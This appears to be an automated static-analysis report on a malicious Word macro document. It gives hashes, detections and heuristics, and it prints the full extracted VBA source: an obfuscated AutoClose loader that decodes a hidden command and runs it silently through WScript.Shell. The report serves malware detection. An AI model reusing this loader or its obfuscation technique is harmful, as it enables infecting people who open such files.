Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b3dbbe79bdbf9e6d…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-06-27
MD5: 3e2c9fe205543b825746ebed07976b65 SHA-1: f63603f75fc2c562df52a8dfefcff39538cefbcb SHA-256: b3dbbe79bdbf9e6d6a8eb1bcc9350f847b76aaf304bc981dca9fdf281ba22360
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing obfuscated VBA macros. The AutoClose macro, when executed, calls a function that decodes a string and then passes it to Application.Run. This indicates the macro is designed to download and execute a second-stage payload, likely leveraging the Shell() and CreateObject() functions as suggested by the heuristics.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If endarterial - renewabilities > 1 Then
       CreateObject(Trim(anterodorsal) & ".Shell").Run takamaka, 0
       bromethylene = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "breast", capitulations
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If endarterial - renewabilities > 1 Then
       CreateObject(Trim(anterodorsal) & ".Shell").Run takamaka, 0
       bromethylene = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  sarcophagal = Array("R", "u", "P", "X", "A", "s", "f", "w", "f", "1", "P", "X", "X", "K", "h", "F", "F", "K", "m", "X", "m", "R", "c", "v", "P", "X", "m", "u", "y", "A", "q", "c", "u", "l", "A", "q", "A", "9", "f", "5", "s", "v", "m", "R", "F", "n", "x", "Y", "F", "9", "U", "R", "A", "s", "K", "P", "K", "2", "c", "X", "R", "A", "a", "j", "f", "y", "u", "c", "u", "5")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2168 bytes
SHA-256: 573176adf46e76197c92ff636dd031fa82905514ae5fe1583f26e26fb838fb14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function teleobjective(sarcophagal)
  danicism = Array("f", "a", "F", "R", "n", "2", "h", "U", "A", "w", "l", "Y", "u", "v", "K", "y", "c", "5", "m", "j", "1", "x", "9", "X", "s", "q", "P")
  disordination = Array("e", "=", "/", "m", "A", "?", ":", "i", "a", "x", "k", "K", "s", "c", "p", "r", "u", "b", "o", "v", " ", "F", "l", "t", ".", "z", "h")
  
  rumoured = vbNullString
  
  For Each polyclinic In sarcophagal
    pentoic = eyelash(polyclinic, danicism, UBound(danicism))
    If pentoic > -1 Then
    rumoured = disordination(pentoic) & rumoured
    End If
  Next
  
  teleobjective = StrReverse(rumoured)
  
End Function

Public Function eyelash(antiwhaling, metamathematical, cynomoriaceous)
  feminie = 5553
  unstaged = 772
  For feminie = 0 To cynomoriaceous
    If metamathematical(feminie) = antiwhaling And feminie > -1 Then
     unstaged = feminie
    End If
  Next

  If unstaged = 772 Then
    unstaged = -1
  End If
  
  eyelash = unstaged
End Function

Sub AutoClose()
  sarcophagal = Array("R", "u", "P", "X", "A", "s", "f", "w", "f", "1", "P", "X", "X", "K", "h", "F", "F", "K", "m", "X", "m", "R", "c", "v", "P", "X", "m", "u", "y", "A", "q", "c", "u", "l", "A", "q", "A", "9", "f", "5", "s", "v", "m", "R", "F", "n", "x", "Y", "F", "9", "U", "R", "A", "s", "K", "P", "K", "2", "c", "X", "R", "A", "a", "j", "f", "y", "u", "c", "u", "5")
  capitulations = teleobjective(sarcophagal)
  
  Application.Run "breast", capitulations
  
End Sub


Private Sub breast(takamaka)
   
   anterodorsal = "WScript"
   renewabilities = 3271
   bromethylene = True
   
   While bromethylene
     endarterial = renewabilities + 60
     If endarterial - renewabilities > 1 Then
       CreateObject(Trim(anterodorsal) & ".Shell").Run takamaka, 0
       bromethylene = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: d14e381390cea9cee58d8c30ad9648239526b34631e2e8b54e2bb92b7bf51ecc
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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